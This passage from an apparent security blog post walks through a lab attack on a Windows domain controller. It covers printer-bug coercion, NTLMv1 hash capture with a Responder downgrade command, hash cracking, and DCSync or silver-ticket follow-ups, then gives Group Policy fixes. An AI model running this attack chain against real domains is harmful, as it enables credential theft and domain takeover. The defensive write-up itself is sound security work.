restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>So, what happened? The printer bug caused the target to authenticate back to the attacker-supplied IP, where the machine account&#8217;s hash was captured with Responder. The hash type is identified as <em>NTLMv1-</em>SSP, which is important because the attack cannot proceed if a NTLMv2 (Net-NTLMv2) hash is captured instead. Also, notice how the two response portions of the hash do not match</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6On0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6On0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 424w, https://substackcdn.com/image/fetch/$s_!6On0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 848w, https://substackcdn.com/image/fetch/$s_!6On0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 1272w, https://substackcdn.com/image/fetch/$s_!6On0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6On0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png" width="997" height="58" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:58,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!6On0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 424w, https://substackcdn.com/image/fetch/$s_!6On0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 848w, https://substackcdn.com/image/fetch/$s_!6On0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 1272w, https://substackcdn.com/image/fetch/$s_!6On0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4ad33c9-47a0-4f04-bb82-ccdf08c881c9_997x58.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This is because the captured hash is NTLMv1 with SSP (Security Support Provider), which changes the server challenge and is not quite ideal for the attack. We can use Responder&#8217;s LanMan downgrade flag to get a NTLMv1 hash without SSP.</p><p><em>Note: The lab DC is running Windows Server 2016. The LanMan downgrade portion of the attack may not work against Windows Server 2019 or newer.</em></p><p>Let&#8217;s restart Responder, including the LanMan downgrade flag: ./Responder -I &lt;Interface&gt; --lm</p><p>Now the printer bug can be triggered again to capture a plain NTLMv1 hash, without SSP. Notice how the two response portions of the hash are now identical:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mGtt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mGtt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 424w, https://substackcdn.com/image/fetch/$s_!mGtt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 848w, https://substackcdn.com/image/fetch/$s_!mGtt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 1272w, https://substackcdn.com/image/fetch/$s_!mGtt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mGtt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png" width="997" height="345" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:345,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mGtt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 424w, https://substackcdn.com/image/fetch/$s_!mGtt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 848w, https://substackcdn.com/image/fetch/$s_!mGtt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 1272w, https://substackcdn.com/image/fetch/$s_!mGtt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5be893d5-f7ba-488f-a5d3-53eb9189da4e_997x345.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now that the DC&#8217;s NTLMv1 hash has been captured, it can be cracked back into a plain NTLM hash, compatible with pass-the-hash attacks. This can be done quickly by submitting <code>NTHASH:&lt;response&gt; </code>to <a href="https://web.archive.org/web/20250710084132/https://crack.sh/">crack.sh</a>, which uses rainbow tables, or by manually reconstructing the NTLM hash from its DES elements using hashcat and EvilMog&#8217;s <a href="https://web.archive.org/web/20250710084132/https://github.com/evilmog/ntlmv1-multi">ntlmv1-multi </a>tool (my hashcat rig with an NVIDIA 3090 takes around 16 days to brute-force the needed DES hashes). Either method will allow you to obtain the machine account&#8217;s NTLM hash for pass-the-hash attacks</p><h4>Impact</h4><p>Once the DC&#8217;s NTLM hash has been reconstructed, a DCSync attack can be executed to steal the NTLM hash of a Domain Administrator (or any desired user). In short, a DCSync attack allows an attacker to emulate the behavior of a domain controller by requesting the replication of a user object from a DC. The data returned from the attack includes the current password hash for the targeted account. In my lab, I have used the compromised DC hash to run a DCSync attack targeting the domain administrator, <em>vagrant:</em></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Kp7c!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Kp7c!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 424w, https://substackcdn.com/image/fetch/$s_!Kp7c!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 848w, https://substackcdn.com/image/fetch/$s_!Kp7c!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 1272w, https://substackcdn.com/image/fetch/$s_!Kp7c!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Kp7c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png" width="997" height="179" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:179,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Kp7c!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 424w, https://substackcdn.com/image/fetch/$s_!Kp7c!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 848w, https://substackcdn.com/image/fetch/$s_!Kp7c!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 1272w, https://substackcdn.com/image/fetch/$s_!Kp7c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb639015f-abc9-43c6-a4fa-d25575c811f0_997x179.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Side note: the target host in the lab is a domain controller, which makes the DCSync attack possible once the machine account&#8217;s NTLM hash is compromised. If the target is not a domain controller, a silver ticket can be constructed instead, granting admin access to the host.</p><h4>Remediation</h4><p>There are two (2) configuration issues to address, both of which can be changed via Group Policy:</p><p>1. Enforcing the usage of NTLMv2 authentication -The NTLMv2 hashing algorithm does not use an account&#8217;s NTLM hash, unlike the NTLMv1 algorithm. The NTLM hash used in pass-the-hash attacks cannot be derived from a NTLMv2 hash.</p><p>2. Disabling the <em>Print Spooler</em> service - This service should only be running on print servers. When running, it is possible for any authenticated user to trigger the printer bug.</p><p>Technically, addressing either one will negate <em>this </em>attack vector. However, both remediations should be implemented to protect against other attacks that leverage only one of these configurations.</p><h4>Enforcing NTLMv2</h4><p>Open <em>gpmc.msc </em>on a domain controller and begin a new group policy linked to the desired OUs (I will add a new GPO titled <em>Enforce NTLMv2</em>, linked to the Domain Controllers OU).</p><p>The setting to edit is <em>ComputerConfiguration\Policies\Windows Settings\Security Settings\Local Policies\SecurityOptions\Network security: LAN Manager authentication level</em>. Setting this to any of the three (3) options that specify <em>Send NTLMv2 response only</em> will prevent NTLMv1 authentication from being used</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OPSm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OPSm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 424w, https://substackcdn.com/image/fetch/$s_!OPSm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 848w, https://substackcdn.com/image/fetch/$s_!OPSm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 1272w, https://substackcdn.com/image/fetch/$s_!OPSm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OPSm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png" width="810" height="439" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:439,&quot;width&quot;:810,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!OPSm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 424w, https://substackcdn.com/image/fetch/$s_!OPSm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 848w, https://substackcdn.com/image/fetch/$s_!OPSm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 1272w, https://substackcdn.com/image/fetch/$s_!OPSm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F327492ab-7c27-4c18-bb84-a5b0bcd8adfe_810x439.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Warning: If any applications rely on NTLMv1 authentication, this GPO will break that functionality. It is recommended to test this policy before deploying across the environment.</em>&#8205;</p><p>After running a quick <em>gpupdate</em> from a command prompt, executing the printer bug confirms that a NTLMv2 hash is now captured:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nALH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nALH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 424w, https://substackcdn.com/image/fetch/$s_!nALH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 848w, https://substackcdn.com/image/fetch/$s_!nALH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 1272w, https://substackcdn.com/image/fetch/$s_!nALH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nALH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png" width="997" height="391" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:391,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!nALH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 424w, https://substackcdn.com/image/fetch/$s_!nALH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 848w, https://substackcdn.com/image/fetch/$s_!nALH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 1272w, https://substackcdn.com/image/fetch/$s_!nALH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c04cd52-deaa-4c18-b011-c2939acb7555_997x391.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This NTLMv2 hash cannot be used in the NTLM downgrade attack and should not be cracked since its password is set by Windows. Now that NTLMv2 is required, an additional policy can be created to prevent the printer bug from coercing authentication.</p><h4><strong>Disabling the Print Spooler Service</strong></h4><p>Open <em>gpmc.msc </em>on a domain controller and begin a new group policy linked to the desired OUs. In the lab, I will add a new GPO titled <em>Disable Print Spooler</em>, linked to the Domain Controllers OU.</p><p>The setting to edit is <em>ComputerConfiguration\Policies\Windows Settings\Security Settings\System Services\PrintSpooler. </em>Set this to <em>Disabled</em> to stop the service from running and prevent the printer bug from being leveraged.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vzhp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vzhp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 424w, https://substackcdn.com/image/fetch/$s_!vzhp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 848w, https://substackcdn.com/image/fetch/$s_!vzhp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 1272w, https://substackcdn.com/image/fetch/$s_!vzhp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vzhp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd67bfff-35f0-4c30-bf1d-b0bbcd8f38f0_787x525.png" width="787" height="525" 